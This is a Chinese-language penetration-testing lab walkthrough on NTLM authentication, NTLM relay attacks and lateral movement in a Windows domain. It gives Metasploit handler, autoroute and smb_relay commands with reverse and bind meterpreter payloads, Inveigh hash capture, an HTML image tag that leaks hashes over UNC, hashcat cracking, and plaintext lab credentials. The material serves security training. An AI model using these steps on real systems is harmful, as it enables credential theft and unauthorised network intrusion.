目录
[NTLM Relay攻击](#NTLM Relay攻击)
[一. CS代理转发](#一. CS代理转发)
[二. MSF架设路由](#二. MSF架设路由)
[三. 适用smb_relay模块进行中继攻击](#三. 适用smb_relay模块进行中继攻击)
[域横向移动:Net NTLM Hash劫持破解](#域横向移动:Net NTLM Hash劫持破解)
[一. 监听拦截](#一. 监听拦截)
[二. 触发拦截](#二. 触发拦截)
[三. 破解密钥](#三. 破解密钥)
NTLM认证过程以及攻击面
非域中
- 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
- 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
- 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
- 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。
域中,在第4步有所不同,如果是在域环境中,那么认证过程会经过域控制器:
- 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
- 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
- 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
- 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
- DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。
- 针对NTLM Hash的攻击:PTH,信息收集
- 针对Net NTLM Hash的攻击:暴力破解明文密码,利用Net-NTLM Hash中继攻击
Pass The Hash:哈希传递攻击,通过抓取主机上的Hash,传递他们进行攻击,不需要明文密码。
利用NTLM进行信息收集:通过CS,命令就可以达到目的,没有意义。
Net-NTLM Hash破解,暴力破解得到明文密码
NTLM Relay:利用Net-NTLM Hash进行中继攻击
PTH的攻击条件需要NTLM-Hash,而后两种则是通过Net-NTLM Hash进行攻击的
如果计算机的修改过注册表,打过补丁,都有可能造成明文密码,Hash提取不到。我们可以尝试获得Net NTLM Hash进行攻击利用。
NTLM Relay攻击
这种攻击方式可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。
Relay攻击要涉及到NTLM认证和Net-NTLM Hash
NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。
Net NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。客户端在请求服务时需要的NTLM Hash是服务端密码,Net NTLM Hash的生成需要服务端密码的NTLM Hash和challenge,用户名得到的。
NTLM攻击总结
有NTLM Hash,直接PTH;没有NTLM Hash,尝试抓取Net NTLM Hash,暴力破解明文密码,中继攻击。
实验环境说明
DC:192.168.3.21
本地管理员:administrator Admin12345
域账户:god/administrator Admin12345
SQLserver:192.168.3.32
本地管理员:administrator admin!@#45
域账户:god/dbadmin admin!@#45
Mary-PC:192.168.3.25
本地管理员:administrator admin!@#45
域账户:god/mary admin!@#45
webserver:192.168.3.31 192.168.46.128(出网)
本地管理员:administrator admin!@#45
域账户:god/webadmin admin!@#45
Kali:架设MSF 192.168.46.166
46网段是出网的,3网段是内网。
域横向移动:NTLM中继攻击
一句换概括:拿已控制主机的本地管理员的NTLM Hash进行赌狗行为碰撞别的主机进行登录。
一般不会拿域账户的NTLM Hash,因为没有意义,权限太低。
攻击条件
在内网一台计算机上执行下面这条命令,会发生什么事情?此时该主机是管理员登录
dir \\192.168.3.21\c$
dir \\192.168.3.32\c$
这时通过SMB协议访问对方主机的C盘,这是一个访问对方主机服务的过程,是需要NTLM验证的,这里这台主机实际上并没有192.168.3.21的NTLM Hash或者密码的,在内存中会加载已有的NTLM Hash,也就是自己的(该命令会默认拿自己的),用这一套NTLM Hash去做NTLM认证。
一般来说是会失败的,但是这里却成功了。访问192.168.3.32失败,下面的却成功了。
也就是说该计算机的NTLM Hash和192.168.3.32主机的NTLM Hash是一样的。
这个Net NTLM Hash中继攻击本质就是利用自己计算机的NTLM Hash(或者说账号密码)进行碰撞,因为这台机器虽然我们拿到了权限,但是NTLM Hash窃取不到,尝试通过这种赌博行为攻击其它主机。
在实验环境中,用webserver这台主机的管理员账号密码是可以配置所有主机并成功的。
实战一:NTLM中继攻击-CS转发上线MSF
首先是获得了一台主机webserver的权限
原理示意图
CS做权限移交,利用MSF进行渗透,CS上每次功能
MSF做一个转发工作,配置转发对象
攻击原理:用已经拿下权限的主机利用administrator权限去比对任意域内主机,比对成功就可以访问登录对方主机,就可以直接上线MSF拿到对象的administrator权限
一. CS代理转发
转发到内网的一台Kali上,上面架设有MSF,实际环境也可,转发外网。
配置监听器,CS流量转发MSF 192.168.46.166(出网)2222端口
转发这个监听器
spawn l-msf
二. MSF架设路由
MSF监听,上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222
run
添加路由
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回
MSF可以攻击到内网3网段
三. 适用smb_relay模块进行中继攻击
设置攻击目标为192.168.3.32
重发模块:
use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 192.168.46.166 //设置本地IP
set autorunscript post/windows/manage/migrate
建立正向连接
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run
这里是一个system权限,我们需要的administrator权限,降权
CS降权
查看进程
记录下pid,通过system进行令牌窃取,权限降为administrator
MSF降权
get uid
ps
在CS上执行命令
shell dir \\192.168.46.166\c$
这条命令会被MSF中继模块再次进行转发,相当于是192.168.3.31对192.168.3.32发起请求
dir \\192.168.3.32\c$
也可以在MSF上执行,Meterpreter上输出shell,弹出192.168.3.31的cmd
攻击成功,192.168.3.32上线MSF
192.168.3.32上线MSF,因为采用的是正向连接,也就是192.168.3.31正向连接192.168.3.32
上线!!!
域横向移动:Net NTLM Hash劫持破解
条件:被控主机当前管理员权限
因为下面是利用工具,所以需要足够的运行权限
项目地址:https://github.com/Kevin-Robertson/Inveigh
这里是诱导域内主机访问我们这台已经拿下权限的主机192.168.3.31,对方会把自己的Hash发给我们,直接拦截下来,Net NTLM Hash被捕捉,只要是访问192.168.3.31,就会被拿下Hash,这Hash可能是域控的,本地管理员的,域用户的
一. 监听拦截
上传程序到对方主机,或者挂代理(不推荐)程序本身就不大,避免数据丢失
工具放在192.168.3.31被控主机上执行
Inveigh.exe
获取到的是NET NTLM HASH V1或V2
二. 触发拦截
令别的主机dir webserver,这里是拿域控的主机进行演示
dir \\192.168.3.31\c$
拦截到Hash
会保存在当前目录
这个一般是要配合钓鱼,和前面的Exchange服务利用进行结合
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.32\2">
</body>
</html>
三. 破解密钥
破解域控的Hash,得到域控的明文密码
hashcat -m 5600 hash pass.txt --show
得到域控用户的Hash明文 Admin12345